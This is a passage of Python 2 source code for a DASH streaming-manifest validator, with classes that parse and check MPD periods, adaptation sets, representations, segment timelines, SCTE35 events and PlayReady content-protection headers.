filename)\n if makedirs:\n if not os.path.exists(dest):\n os.makedirs(dest)\n return os.path.join(dest, filename)\n\n def open_file(self, filename, options):\n self.filenames.add(filename)\n if options.prefix:\n fd = open(filename, 'ab')\n fd.seek(0, os.SEEK_END)\n return fd\n return open(filename, 'wb')\n\n\nclass DashValidator(DashElement):\n __metaclass__ = ABCMeta\n\n def __init__(self, url, http_client, mode=None, options=None, xml=None):\n DashElement.init_xml_namespaces()\n super(DashValidator, self).__init__(None, parent=None, options=options)\n self.http = http_client\n self.baseurl = self.url = url\n self.options = options if options is not None else ValidatorOptions()\n self.mode = mode\n self.validator = self\n self.xml = xml\n self.manifest = None\n self.prev_manifest = None\n if xml is not None:\n self.manifest = Manifest(self, self.url, self.mode, self.xml)\n\n def load(self, xml=None):\n self.prev_manifest = self.manifest\n self.xml = xml\n if self.xml is None:\n result = self.http.get(self.url)\n self.assertEqual(result.status_int, 200,\n 'Failed to load manifest: {0:d} {1}'.format(\n result.status_int, self.url))\n # print(result.text)\n self.xml = result.xml\n if self.mode is None:\n if self.xml.get(\"type\") == \"dynamic\":\n self.mode = 'live'\n elif \"urn:mpeg:dash:profile:isoff-on-demand:2011\" in self.xml.get('profiles'):\n self.mode = 'odvod'\n else:\n self.mode = 'vod'\n self.manifest = Manifest(self, self.url, self.mode, self.xml)\n\n def validate(self, depth=-1):\n if self.xml is None:\n self.load()\n if self.options.save:\n self.save_manifest()\n if self.mode == 'live' and self.prev_manifest is not None:\n if self.prev_manifest.availabilityStartTime != self.manifest.availabilityStartTime:\n raise ValidationException('availabilityStartTime has changed from {:s} to {:s}'.format(\n self.prev_manifest.availabilityStartTime.isoformat(),\n self.manifest.availabilityStartTime.isoformat()))\n age = self.manifest.publishTime - self.prev_manifest.publishTime\n fmt = (r'Manifest should have updated by now. minimumUpdatePeriod is {0} but ' +\n r'manifest has not been updated for {1} seconds')\n self.checkLessThan(\n age, 5 * self.manifest.minimumUpdatePeriod,\n fmt.format(self.manifest.minimumUpdatePeriod, age.total_seconds()))\n self.manifest.validate(depth=depth)\n if self.options.save and self.options.prefix:\n kids = set()\n for p in self.manifest.periods:\n for a in p.adaptation_sets:\n if a.default_KID is not None:\n kids.add(a.default_KID)\n config = {\n 'keys': map(lambda kid: {'computed': True, 'kid': kid}, list(kids)),\n 'streams': [{\n 'prefix': self.options.prefix,\n 'title': self.url\n }],\n 'files': list(self.manifest.filenames)\n }\n filename = self.output_filename(\n default=None, bandwidth=None, filename='{0}.json'.format(self.options.prefix))\n with open(filename, 'wt') as dest:\n json.dump(config, dest, indent=2)\n return self.errors\n\n def save_manifest(self, filename=None):\n if self.options.dest:\n filename = self.output_filename(\n 'manifest.mpd', bandwidth=None, filename=filename, makedirs=True)\n ET.ElementTree(self.xml).write(filename, xml_declaration=True)\n else:\n print(ET.tostring(self.xml))\n\n def sleep(self):\n self.checkEqual(self.mode, 'live')\n self.checkIsNotNone(self.manifest)\n dur = max(self.manifest.minimumUpdatePeriod.seconds, 1)\n self.log.info('Wait %d seconds', dur)\n time.sleep(dur)\n\n @abstractmethod\n def get_representation_info(self, representation):\n \"\"\"Get the Representation object for the specified media URL.\n The returned object must have the following attributes:\n * encrypted: bool - Is AdaptationSet encrypted ?\n * iv_size: int - IV size in bytes (8 or 16) (N/A if encrypted==False)\n * timescale: int - The timescale units for the AdaptationSet\n * num_segments: int - The number of segments in the stream (VOD only)\n * segments: List[Segment] - Information about each segment (optional)\n \"\"\"\n raise Exception(\"Not implemented\")\n\n @abstractmethod\n def set_representation_info(self, representation, info):\n raise Exception(\"Not implemented\")\n\n\nclass RepresentationInfo(object):\n def __init__(self, encrypted, timescale, num_segments=0, **kwargs):\n self.encrypted = encrypted\n self.timescale = timescale\n self.num_segments = num_segments\n self.tested_media_segment = set()\n self.init_segment = None\n self.media_segments = []\n self.segments = []\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n\n\nclass Manifest(DashElement):\n attributes = [\n ('availabilityStartTime', from_isodatetime, None),\n ('minimumUpdatePeriod', from_isodatetime, None),\n ('timeShiftBufferDepth', from_isodatetime, None),\n ('mediaPresentationDuration', from_isodatetime, None),\n ('publishTime', from_isodatetime, None),\n ]\n\n def __init__(self, parent, url, mode, xml):\n super(Manifest, self).__init__(xml, parent)\n self.url = url\n parsed = urlparse.urlparse(url)\n self.params = {}\n for key, value in urlparse.parse_qs(parsed.query).iteritems():\n self.params[key] = value[0]\n self.mode = mode\n if self.baseurl is None:\n self.baseurl = url\n assert isinstance(url, basestring)\n if mode != 'live':\n if \"urn:mpeg:dash:profile:isoff-on-demand:2011\" in xml.get(\n 'profiles'):\n self.mode = 'odvod'\n if self.publishTime is None:\n self.publishTime = datetime.datetime.now()\n self.mpd_type = xml.get(\"type\", \"static\")\n self.periods = map(lambda p: Period(p, self),\n xml.findall('./dash:Period', self.xmlNamespaces))\n self.dump_attributes()\n\n @property\n def mpd(self):\n return self\n\n def validate(self, depth=-1):\n self.checkGreaterThan(len(self.periods), 0,\n \"Manifest does not have a Period element: %s\" % self.url)\n if self.mode == \"live\":\n self.checkEqual(\n self.mpd_type, \"dynamic\",\n \"MPD@type must be dynamic for live manifest: %s\" % self.url)\n self.checkIsNotNone(\n self.availabilityStartTime,\n \"MPD@availabilityStartTime must be present for live manifest: %s\" % self.url)\n self.checkIsNotNone(\n self.timeShiftBufferDepth,\n \"MPD@timeShiftBufferDepth must be present for live manifest: %s\" % self.url)\n self.checkIsNone(\n self.mediaPresentationDuration,\n \"MPD@mediaPresentationDuration must not be present for live manifest: %s\" % self.url)\n else:\n msg = r'MPD@type must be static for VOD manifest, got \"{0}\": {1}'.format(\n self.mpd_type, self.url)\n self.checkEqual(self.mpd_type, \"static\", msg=msg)\n if self.mediaPresentationDuration is not None:\n self.checkGreaterThan(\n self.mediaPresentationDuration,\n datetime.timedelta(seconds=0),\n 'Invalid MPD@mediaPresentationDuration \"{}\": {}'.format(\n self.mediaPresentationDuration, self.url))\n else:\n msg = 'If MPD@mediaPresentationDuration is not present, ' +\\\n 'Period@duration must be present: ' + self.url\n for p in self.periods:\n self.checkIsNotNone(p.duration, msg)\n self.checkIsNone(\n self.minimumUpdatePeriod,\n \"MPD@minimumUpdatePeriod must not be present for VOD manifest: %s\" % self.url)\n self.checkIsNone(\n self.availabilityStartTime,\n \"MPD@availabilityStartTime must not be present for VOD manifest: %s\" % self.url)\n if depth != 0:\n for period in self.periods:\n period.validate(depth - 1)\n\n\nclass DescriptorElement(object):\n def __init__(self, elt):\n self.attributes = elt.attrib\n self.tag = elt.tag\n self.children = []\n self.text = elt.text\n for child in elt:\n self.children.append(DescriptorElement(child))\n\n\nclass Descriptor(DashElement):\n attributes = [\n ('schemeIdUri', str, None),\n ('value', str, \"\"),\n ]\n\n def __init__(self, elt, parent):\n super(Descriptor, self).__init__(elt, parent)\n self.children = []\n for child in elt:\n self.children.append(DescriptorElement(child))\n\n def validate(self, depth=-1):\n self.checkIsNotNone(self.schemeIdUri)\n\n\nclass DashEvent(DashElement):\n \"\"\"\n Contains the information for one manifest DASH event\n \"\"\"\n attributes = [\n ('contentEncoding', str, None),\n ('duration', int, -1),\n ('id', int, None),\n ('messageData', str, None),\n ('presentationTime', int, 0),\n ]\n\n def __init__(self, elt, parent):\n super(DashEvent, self).__init__(elt, parent)\n self.children = []\n for child in elt:\n self.children.append(child)\n\n def validate(self, depth=-1):\n if self.children:\n self.checkIsNone(self.messageData)\n if self.contentEncoding is not None:\n self.checkEqual(self.contentEncoding, 'base64')\n if self.parent.schemeIdUri == EventStreamBase.SCTE35_XML_BIN_EVENTS:\n self.checkEqual(len(self.children), 1)\n bin_elt = self.children[0].findall('./scte35:Binary', self.xmlNamespaces)\n self.checkIsNotNone(bin_elt)\n self.checkEqual(len(bin_elt), 1)\n data = base64.b64decode(bin_elt[0].text)\n src = BufferedReader(None, data=data)\n sig = scte35.BinarySignal.parse(src, size=len(data))\n timescale = self.parent.timescale\n self.checkIn('splice_insert', sig)\n self.checkIn('break_duration', sig['splice_insert'])\n duration = sig['splice_insert']['break_duration']['duration']\n self.checkAlmostEqual(self.duration / timescale, duration / MPEG_TIMEBASE)\n self.scte35_binary_signal = sig\n\n\nclass EventStreamBase(Descriptor):\n \"\"\"\n Base class for inband and MPD event streams\n \"\"\"\n\n SCTE35_XML_EVENTS = \"urn:scte:scte35:2013:xml\"\n SCTE35_XML_BIN_EVENTS = \"urn:scte:scte35:2014:xml+bin\"\n SCTE35_INBAND_EVENTS = \"urn:scte:scte35:2013:bin\"\n\n attributes = Descriptor.attributes + [\n ('timescale', int, 1),\n ('presentationTimeOffset', int, 0),\n ]\n\n def __init__(self, elt, parent):\n super(EventStreamBase, self).__init__(elt, parent)\n evs = elt.findall('./dash:Event', self.xmlNamespaces)\n self.events = map(lambda a: DashEvent(a, self), evs)\n\n\nclass EventStream(EventStreamBase):\n \"\"\"\n An EventStream, where events are carried in the manifest\n \"\"\"\n\n def __init__(self, elt, parent):\n super(EventStream, self).__init__(elt, parent)\n\n def validate(self, depth=-1):\n super(EventStream, self).validate(depth)\n self.checkNotEqual(self.schemeIdUri, self.SCTE35_INBAND_EVENTS)\n if depth == 0:\n return\n for event in self.events:\n event.validate(depth - 1)\n\n\nclass InbandEventStream(EventStreamBase):\n \"\"\"\n An EventStream, where events are carried in the media\n \"\"\"\n\n def __init__(self, elt, parent):\n super(InbandEventStream, self).__init__(elt, parent)\n\n def validate(self, depth=-1):\n super(InbandEventStream, self).validate(depth)\n self.checkEqual(len(self.children), 0)\n\nclass Period(DashElement):\n attributes = [\n ('start', from_isodatetime, None),\n # self.parent.mediaPresentationDuration),\n ('duration', from_isodatetime, DashElement.Parent),\n ]\n\n def __init__(self, period, parent):\n super(Period, self).__init__(period, parent)\n if self.parent.mpd_type == 'dynamic':\n if self.start is None:\n self.start = parent.availabilityStartTime\n else:\n self.start = parent.availabilityStartTime + \\\n datetime.timedelta(seconds=self.start.total_seconds())\n adps = period.findall('./dash:AdaptationSet', self.xmlNamespaces)\n self.adaptation_sets = map(lambda a: AdaptationSet(a, self), adps)\n evs = period.findall('./dash:EventStream', self.xmlNamespaces)\n self.event_streams = map(lambda r: EventStream(r, self), evs)\n\n def validate(self, depth=-1):\n if depth == 0:\n return\n for adap_set in self.adaptation_sets:\n adap_set.validate(depth - 1)\n for evs in self.event_streams:\n evs.validate(depth - 1)\n\n\nclass HttpRange(object):\n def __init__(self, start, end=None):\n if end is None:\n start, end = start.split('-')\n self.start = int(start)\n self.end = int(end)\n\n def __str__(self):\n return '{0}-{1}'.format(self.start, self.end)\n\n\nclass SegmentReference(DashElement):\n REPR_FMT = 'SegmentReference(url={sourceURL}, duration={duration}, decode_time={decode_time}, mediaRange={mediaRange}'\n\n def __init__(self, parent, url, start, end, decode_time, duration):\n super(SegmentReference, self).__init__(elt=None, url=url,\n parent=parent)\n self.sourceURL = url\n self.media = url\n self.mediaRange = HttpRange(start, end)\n self.decode_time = decode_time\n self.duration = duration\n\n def validate(self, depth=-1):\n self.checkGreaterThan(self.duration, 0)\n\n def __repr__(self):\n return self.REPR_FMT.format(**self.__dict__)\n\n\nclass SegmentBaseType(DashElement):\n attributes = [\n ('timescale', int, 1),\n ('presentationTimeOffset', int, 0),\n ('indexRange', HttpRange, None),\n ('indexRangeExact', bool, False),\n ('availabilityTimeOffset', float, None),\n ('availabilityTimeComplete', bool, None),\n ]\n\n def __init__(self, elt, parent):\n super(SegmentBaseType, self).__init__(elt, parent)\n inits = elt.findall('./dash:Initialization', self.xmlNamespaces)\n self.initializationList = map(lambda u: URLType(u, self), inits)\n self.representationIndex = map(lambda i: URLType(i, self),\n elt.findall('./dash:RepresentationIndex', self.xmlNamespaces))\n\n def load_segment_index(self, url):\n self.checkIsNotNone(self.indexRange)\n headers = {\"Range\": \"bytes={}\".format(self.indexRange)}\n self.log.debug('GET: %s %s', url, headers)\n response = self.http.get(url, headers=headers)\n # 206 = partial content\n self.checkEqual(response.status_int, 206)\n if self.options.save:\n default = 'index-{0}-{1}'.format(self.parent.id, self.parent.bandwidth)\n filename = self.output_filename(\n default, self.parent.bandwidth, prefix=self.options.prefix,\n makedirs=True)\n self.log.debug('saving index segment: %s', filename)\n with self.open_file(filename, self.options) as dest:\n dest.write(response.body)\n src = BufferedReader(None, data=response.body)\n opts = mp4.Options(strict=self.options.strict)\n atoms = mp4.Mp4Atom.load(src, options=opts)\n self.checkEqual(len(atoms), 1)\n self.checkEqual(atoms[0].atom_type, 'sidx')\n sidx = atoms[0]\n self.timescale = sidx.timescale\n start = self.indexRange.end + 1\n rv = []\n decode_time = sidx.earliest_presentation_time\n for ref in sidx.references:\n end = start + ref.ref_size - 1\n rv.append(SegmentReference(\n parent=self, url=url, start=start, end=end,\n duration=ref.duration, decode_time=decode_time))\n start = end + 1\n decode_time += ref.duration\n return rv\n\nclass URLType(DashElement):\n attributes = [\n (\"sourceURL\", str, None),\n (\"range\", HttpRange, None),\n ]\n\n def __init__(self, elt, parent):\n super(URLType, self).__init__(elt, parent)\n\n def validate(self, depth=-1):\n pass\n\n\nclass FrameRateType(TestCaseMixin):\n pattern = re.compile(r\"([0-9]*[0-9])(/[0-9]*[0-9])?$\")\n\n def __init__(self, num, denom=1):\n if isinstance(num, basestring):\n match = self.pattern.match(num)\n self.checkIsNotNone(match, 'Invalid frame rate \"{0}\", pattern is \"{1}\"'.format(\n num, self.pattern.pattern))\n num = int(match.group(1), 10)\n if match.group(2):\n denom = int(match.group(2)[1:])\n self.num = num\n self.denom = denom\n if denom == 1:\n self.value = num\n else:\n self.value = float(num) / float(denom)\n\n def __float__(self):\n return self.value\n\n def __repr__(self):\n if self.denom == 1:\n return str(self.value)\n return '{0:d}/{1:d}'.format(self.num, self.denom)\n\n def validate(self, depth=-1):\n pass\n\n\nclass MultipleSegmentBaseType(SegmentBaseType):\n attributes = SegmentBaseType.attributes + [\n ('duration', int, None),\n ('startNumber', int, DashElement.Parent),\n ]\n\n def __init__(self, elt, parent):\n super(MultipleSegmentBaseType, self).__init__(elt, parent)\n self.segmentTimeline = None\n timeline = elt.findall('./dash:SegmentTimeline', self.xmlNamespaces)\n if len(timeline):\n self.segmentTimeline = SegmentTimeline(timeline[0], self)\n self.BitstreamSwitching = None\n bss = elt.findall('./dash:BitstreamSwitching', self.xmlNamespaces)\n if len(bss):\n self.BitstreamSwitching = bss[0].text\n\n def validate(self, depth=-1):\n super(MultipleSegmentBaseType, self).validate(depth)\n if self.segmentTimeline is not None:\n # 5.3.9.2.1: The attribute @duration and the element SegmentTimeline\n # shall not be present at the same time.\n self.checkIsNone(self.duration)\n\n\nclass RepresentationBaseType(DashElement):\n attributes = [\n ('profiles', str, None),\n ('width', int, None),\n ('height', int, None),\n ('frameRate', FrameRateType, None),\n ('mimeType', str, None),\n ]\n\n def __init__(self, elt, parent):\n super(RepresentationBaseType, self).__init__(elt, parent)\n prot = elt.findall('./dash:ContentProtection', self.xmlNamespaces)\n self.contentProtection = map(\n lambda cp: ContentProtection(\n cp, self), prot)\n self.segmentTemplate = None\n templates = elt.findall('./dash:SegmentTemplate', self.xmlNamespaces)\n if len(templates):\n self.segmentTemplate = SegmentTemplate(templates[0], self)\n self.segmentList = None\n seg_list = elt.findall('./dash:SegmentList', self.xmlNamespaces)\n self.segmentList = map(lambda s: SegmentListType(s, self), seg_list)\n ibevs = elt.findall('./dash:InbandEventStream', self.xmlNamespaces)\n self.event_streams = map(lambda r: InbandEventStream(r, self), ibevs)\n\n\nclass SegmentTimeline(DashElement):\n SegmentEntry = collections.namedtuple(\n 'SegmentEntry', ['start', 'duration'])\n\n def __init__(self, timeline, parent):\n super(SegmentTimeline, self).__init__(timeline, parent)\n self.segments = []\n start = None\n self.duration = 0\n for seg in timeline:\n repeat = int(seg.get('r', '0')) + 1\n t = seg.get('t')\n start = int(t, 10) if t is not None else start\n if start is None and not self.options.strict:\n self.log.warning('start attribute is missing for first entry in SegmentTimeline')\n start = 0\n self.checkIsNotNone(start)\n duration = int(seg.get('d'), 10)\n for r in range(repeat):\n self.segments.append(self.SegmentEntry(start, duration))\n start += duration\n self.duration += duration\n\n def validate(self, depth=-1):\n return\n\n\nclass SegmentTemplate(MultipleSegmentBaseType):\n attributes = MultipleSegmentBaseType.attributes + [\n ('media', str, None),\n ('index', str, None),\n ('initialization', str, None),\n ('bitstreamSwitching', str, None),\n ]\n\n def __init__(self, template, parent):\n super(SegmentTemplate, self).__init__(template, parent)\n if self.startNumber is None:\n self.startNumber = 1\n\n\nclass SegmentListType(MultipleSegmentBaseType):\n def __init__(self, elt, parent):\n super(SegmentListType, self).__init__(elt, parent)\n urls = elt.findall('./dash:SegmentURL', self.xmlNamespaces)\n self.segmentURLs = map(lambda u: SegmentURL(u, self), urls)\n\n def validate(self, depth=-1):\n super(SegmentListType, self).validate(depth)\n self.checkGreaterThan(len(self.segmentURLs), 0)\n self.checkGreaterThan(len(self.segmentURLs[0].initializationList), 0)\n\n\nclass SegmentURL(DashElement):\n attributes = [\n ('media', str, None),\n ('mediaRange', HttpRange, None),\n ('index', str, None),\n ('indexRange', HttpRange, None),\n ]\n\n def __init__(self, template, parent):\n super(SegmentURL, self).__init__(template, parent)\n\n def validate(self, depth=-1):\n self.checkIsNotNone(self.media)\n self.checkIsNotNone(self.index)\n\n\nclass ContentProtection(Descriptor):\n attributes = Descriptor.attributes + [\n ('cenc:default_KID', str, None),\n ]\n\n def __init__(self, elt, parent):\n super(ContentProtection, self).__init__(elt, parent)\n\n def validate(self, depth=-1):\n super(ContentProtection, self).validate(depth)\n if self.schemeIdUri == \"urn:mpeg:dash:mp4protection:2011\":\n self.checkEqual(self.value, \"cenc\")\n else:\n self.checkStartsWith(self.schemeIdUri, \"urn:uuid:\")\n if depth == 0:\n return\n for child in self.children:\n if child.tag == '{urn:mpeg:cenc:2013}pssh':\n data = base64.b64decode(child.text)\n src = BufferedReader(None, data=data)\n atoms = mp4.Mp4Atom.load(src)\n self.checkEqual(len(atoms), 1)\n self.checkEqual(atoms[0].atom_type, 'pssh')\n pssh = atoms[0]\n if PlayReady.is_supported_scheme_id(self.schemeIdUri):\n self.checkIsInstance(pssh.system_id, Binary)\n self.checkEqual(pssh.system_id.data, PlayReady.RAW_SYSTEM_ID)\n self.checkIsInstance(pssh.data, Binary)\n pro = self.parse_playready_pro(pssh.data.data)\n self.validate_playready_pro(pro)\n elif child.tag == '{urn:microsoft:playready}pro':\n self.checkTrue(\n PlayReady.is_supported_scheme_id(\n self.schemeIdUri))\n data = base64.b64decode(child.text)\n pro = self.parse_playready_pro(data)\n self.validate_playready_pro(pro)\n\n def parse_playready_pro(self, data):\n return PlayReady.parse_pro(BufferedReader(None, data=data))\n\n def validate_playready_pro(self, pro):\n self.checkEqual(len(pro), 1)\n xml = pro[0]['xml'].getroot()\n self.checkEqual(\n xml.tag,\n '{http://schemas.microsoft.com/DRM/2007/03/PlayReadyHeader}WRMHEADER')\n self.checkIn(\n xml.attrib['version'], [\n \"4.0.0.0\", \"4.1.0.0\", \"4.2.0.0\", \"4.3.0.0\"])\n if 'playready_version' in self.mpd.params:\n version = float(self.mpd.params['playready_version'])\n if version < 2.0:\n self.checkEqual(xml.attrib['version'], \"4.0.0.0\")\n self.checkEqual(\n self.schemeIdUri,\n \"urn:uuid:\" +\n PlayReady.SYSTEM_ID_V10)\n elif version < 3.0:\n self.checkIn(xml.attrib['version'], [\"4.0.0.0\", \"4.1.0.0\"])\n elif version < 4.0:\n self.checkIn(\n xml.attrib['version'], [\n \"4.0.0.0\", \"4.1.0.0\", \"4.2.0.0\"])\n\n\nclass AdaptationSet(RepresentationBaseType):\n attributes = RepresentationBaseType.attributes + [\n ('group', int, None),\n ('lang', str, None),\n ('contentType', str, None),\n ('minBandwidth', int, None),\n ('maxBandwidth', int, None),\n ('minWidth', int, None),\n ('maxWidth', int, None),\n ('minHeight', int, None),\n ('maxHeight', int, None),\n ('minFrameRate', FrameRateType, None),\n ('maxFrameRate', FrameRateType, None),\n ]\n\n def __init__(self, adap_set, parent):\n super(AdaptationSet, self).__init__(adap_set, parent)\n reps = adap_set.findall('./dash:Representation', self.xmlNamespaces)\n self.default_KID = None\n for cp in self.contentProtection:\n if cp.default_KID:\n self.default_KID = cp.default_KID\n break\n self.representations = map(lambda r: Representation(r, self), reps)\n\n def validate(self, depth=-1):\n if len(self.contentProtection):\n self.checkIsNotNone(\n self.default_KID,\n 'default_KID cannot be missing for protected stream: {}'.format(self.baseurl))\n self.checkIn(\n self.contentType,\n {'video', 'audio', 'text', 'image', 'font', 'application', None})\n if self.options.strict:\n self.checkIsNotNone(self.mimeType, 'mimeType is a mandatory attribute')\n if self.mimeType is None:\n self.log.warning('mimeType is a mandatory attribute')\n if not self.options.encrypted:\n self.checkEqual(len(self.contentProtection), 0)\n if depth == 0:\n return\n for cp in self.contentProtection:\n cp.validate(depth - 1)\n for rep in self.representations:\n try:\n rep.validate(depth - 1)\n except (AssertionError, ValidationException) as err:\n if self.options.strict:\n raise\n self.log.error(err, exc_info=err)\n\n\nclass Representation(RepresentationBaseType):\n attributes = RepresentationBaseType.attributes + [\n ('bandwidth', int, None),\n ('id', str, None),\n ('qualityRanking', int, None),\n ('dependencyId', str, None),\n ]\n\n def __init__(self, rep, parent):\n super(Representation, self).__init__(rep, parent)\n if self.segmentTemplate is None:\n self.segmentTemplate = parent.segmentTemplate\n if self.segmentTemplate is None:\n self.checkEqual(self.mode, 'odvod')\n self.checkIsNotNone(self.baseurl)\n if self.mode == \"odvod\":\n segmentBase = rep.findall('./dash:SegmentBase', self.xmlNamespaces)\n self.checkLessThan(len(segmentBase), 2)\n if len(segmentBase):\n self.segmentBase = MultipleSegmentBaseType(\n segmentBase[0], self)\n else:\n self.segmentBase = None\n self.generate_segments_on_demand_profile()\n else:\n self.generate_segments_live_profile()\n self.checkIsNotNone(self.init_segment)\n self.checkIsNotNone(self.media_segments)\n self.checkGreaterThan(\n len(self.media_segments), 0,\n 'Failed to generate any segments for Representation {0} of {1}'.format(\n self.unique_id(), self.mpd.url))\n\n def init_seg_url(self):\n if self.mode == 'odvod':\n return self.format_url_template(self.baseurl)\n self.checkIsNotNone(self.segmentTemplate)\n self.checkIsNotNone(self.segmentTemplate.initialization)\n url = self.format_url_template(self.segmentTemplate.initialization)\n return urlparse.urljoin(self.baseurl, url)\n\n def generate_segments_live_profile(self):\n self.checkNotEqual(self.mode, 'odvod')\n self.checkIsNotNone(self.segmentTemplate)\n info = self.validator.get_representation_info(self)\n self.checkIsNotNone(info)\n if info is None:\n return\n decode_time = getattr(info, \"decode_time\", None)\n start_number = getattr(info, \"start_number\", None)\n self.media_segments = []\n self.checkIsNotNone(self.segmentTemplate)\n if self.segmentTemplate is None:\n self.init_segment = InitSegment(self, None, info, None)\n return\n self.init_segment = InitSegment(self, self.init_seg_url(), info, None)\n timeline = self.segmentTemplate.segmentTimeline\n seg_duration = self.segmentTemplate.duration\n if seg_duration is None:\n self.assertIsNotNone(timeline)\n seg_duration = timeline.duration / len(timeline.segments)\n if self.mode == 'vod':\n self.checkIsNotNone(info.num_segments)\n num_segments = info.num_segments\n decode_time = self.segmentTemplate.presentationTimeOffset\n start_number = 1\n else:\n if timeline is not None:\n num_segments = len(timeline.segments)\n if decode_time is None:\n decode_time = timeline.segments[0].start\n else:\n self.checkIsNotNone(self.mpd.timeShiftBufferDepth)\n self.checkGreaterThan(self.mpd.timeShiftBufferDepth.total_seconds(),\n seg_duration / self.segmentTemplate.timescale)\n num_segments = math.floor(self.mpd.timeShiftBufferDepth.total_seconds() *\n self.segmentTemplate.timescale / seg_duration)\n num_segments = int(num_segments)\n self.checkGreaterThan(num_segments, 0)\n num_segments = min(num_segments, 25)\n now = datetime.datetime.now(tz=UTC())\n elapsed_time = now - self.mpd.availabilityStartTime\n elapsed_tc = scale_timedelta(elapsed_time, self.segmentTemplate.timescale, 1)\n elapsed_tc -= self.segmentTemplate.presentationTimeOffset\n last_fragment = self.segmentTemplate.startNumber + int(elapsed_tc // seg_duration)\n # first_fragment = last_fragment - math.floor(\n # self.mpd.timeShiftBufferDepth.total_seconds() * self.segmentTemplate.timescale /\n # seg_duration)\n if start_number is None:\n start_number = last_fragment - num_segments\n if start_number < self.segmentTemplate.startNumber:\n num_segments -= self.segmentTemplate.startNumber - start_number\n if num_segments < 1:\n num_segments = 1\n start_number = self.segmentTemplate.startNumber\n if decode_time is None:\n decode_time = (\n start_number - self.segmentTemplate.startNumber) * seg_duration\n self.checkIsNotNone(start_number)\n self.checkIsNotNone(decode_time)\n seg_num = start_number\n frameRate = 24\n if self.frameRate is not None:\n frameRate = self.frameRate.value\n elif self.parent.maxFrameRate is not None:\n frameRate = self.parent.maxFrameRate.value\n elif self.parent.minFrameRate is not None:\n frameRate = self.parent.minFrameRate.value\n if self.segmentTemplate is not None:\n tolerance = self.segmentTemplate.timescale / frameRate\n else:\n tolerance = info.timescale / frameRate\n self.log.debug('Generating %d MediaSegments', num_segments)\n if timeline is not None:\n msg = r'Expected segment segmentTimeline to have at least {} items, found {}'.format(\n num_segments, len(timeline.segments))\n self.checkGreaterOrEqual(len(timeline.segments), num_segments, msg)\n for idx in range(num_segments):\n url = self.format_url_template(\n self.segmentTemplate.media, seg_num, decode_time)\n url = urlparse.urljoin(self.baseurl, url)\n if self.parent.contentType == 'audio':\n tol = tolerance * frameRate / 2\n elif idx == 0:\n tol = tolerance * 2\n else:\n tol = tolerance\n ms = MediaSegment(self, url, info, seg_num=seg_num, decode_time=decode_time,\n tolerance=tol, seg_range=None)\n self.media_segments.append(ms)\n seg_num += 1\n if timeline is not None:\n decode_time += timeline.segments[idx].duration\n else:\n decode_time = None\n if self.options.duration is not None:\n if decode_time is None:\n dt = seg_num * seg_duration\n else:\n dt = decode_time\n if dt >= (self.options.duration * self.segmentTemplate.timescale):\n return\n\n def generate_segments_on_demand_profile(self):\n self.media_segments = []\n self.init_segment = None\n info = self.validator.get_representation_info(self)\n self.checkIsNotNone(info)\n decode_time = None\n if info.segments:\n decode_time = 0\n if self.segmentBase and self.segmentBase.initializationList:\n url = self.baseurl\n if self.segmentBase.initializationList[0].sourceURL is not None:\n url = self.segmentBase.initializationList[0].sourceURL\n url = self.format_url_template(url)\n self.init_segment = InitSegment(\n self, url, info,\n self.segmentBase.initializationList[0].range)\n seg_list = []\n for sl in self.segmentList:\n if sl.initializationList:\n self.checkIsNotNone(sl.initializationList[0].range)\n url = self.baseurl\n if sl.initializationList[0].sourceURL is not None:\n url = sl.initializationList[0].sourceURL\n url = self.format_url_template(url)\n self.init_segment = InitSegment(\n self, url, info, sl.initializationList[0].range)\n seg_list += sl.segmentURLs\n if not seg_list and self.segmentBase and self.segmentBase.indexRange:\n seg_list = self.segmentBase.load_segment_index(self.baseurl)\n decode_time = seg_list[0].decode_time\n frameRate = 24\n if self.frameRate is not None:\n frameRate = self.frameRate.value\n elif self.parent.maxFrameRate is not None:\n frameRate = self.parent.maxFrameRate.value\n elif self.parent.minFrameRate is not None:\n frameRate = self.parent.minFrameRate.value\n if self.segmentTemplate is not None:\n tolerance = self.segmentTemplate.timescale / frameRate\n timescale = self.segmentTemplate.timescale\n else:\n tolerance = info.timescale / frameRate\n timescale = info.timescale\n for idx, item in enumerate(seg_list):\n self.checkIsNotNone(item.mediaRange)\n url = self.baseurl\n if item.media is not None:\n url = item.media\n seg_num = idx + 1\n if idx == 0 and self.segmentTemplate and self.segmentTemplate.segmentTimeline:\n seg_num = None\n if self.parent.contentType == 'audio':\n tol = tolerance * frameRate / 2\n elif idx == 0:\n tol = tolerance * 2\n else:\n tol = tolerance\n dt = getattr(item, 'decode_time', decode_time)\n ms = MediaSegment(self, url, info, seg_num=seg_num,\n decode_time=dt, tolerance=tol,\n seg_range=item.mediaRange)\n self.media_segments.append(ms)\n if info.segments:\n decode_time += info.segments[idx + 1]['duration']\n if self.options.duration is not None:\n if decode_time >= (self.options.duration * timescale):\n return\n\n def validate(self, depth=-1):\n self.checkIsNotNone(self.bandwidth, 'bandwidth is a mandatory attribute')\n self.checkIsNotNone(self.id, 'id is a mandatory attribute')\n if self.options.strict:\n self.checkIsNotNone(self.mimeType, 'mimeType is a mandatory attribute')\n if self.mimeType is None:\n self.log.warning('mimeType is a mandatory attribute')\n info = self.validator.get_representation_info(self)\n if getattr(info, \"moov\", None) is None:\n info.moov = self.init_segment.validate(depth - 1)\n self.validator.set_representation_info(self, info)\n self.checkIsNotNone(info.moov)\n if self.options.encrypted:\n if self.contentProtection:\n cp_elts = self.contentProtection\n else:\n cp_elts = self.parent.contentProtection\n if self.parent.contentType in {'audio', 'video'}:\n self.checkGreaterThan(\n len(cp_elts), 0,\n msg='An encrypted stream must have ContentProtection elements')\n found = False\n for elt in cp_elts:\n if (elt.schemeIdUri == \"urn:mpeg:dash:mp4protection:2011\" and\n elt.value == \"cenc\"):\n found = True\n self.checkTrue(\n found, msg=\"DASH CENC ContentProtection element not found\")\n else:\n # parent ContentProtection elements checked in parent's validate()\n self.checkEqual(len(self.contentProtection), 0)\n if depth == 0:\n return\n if self.mode == \"odvod\":\n self.check_on_demand_profile()\n else:\n self.check_live_profile()\n if len(self.media_segments) == 0:\n return\n next_decode_time = self.media_segments[0].decode_time\n # next_seg_num = self.media_segments[0].seg_num\n self.log.debug('starting next_decode_time: %s', str(next_decode_time))\n for seg in self.media_segments:\n seg.set_info(info)\n if seg.decode_time is None:\n self.checkIsNotNone(next_decode_time)\n seg.decode_time = next_decode_time\n else:\n self.checkEqual(\n next_decode_time, seg.decode_time,\n '{0}: expected decode time {1} but got {2}'.format(\n seg.url, next_decode_time, seg.decode_time))\n if seg.seg_range is None and seg.url in info.tested_media_segment:\n next_decode_time = seg.next_decode_time\n 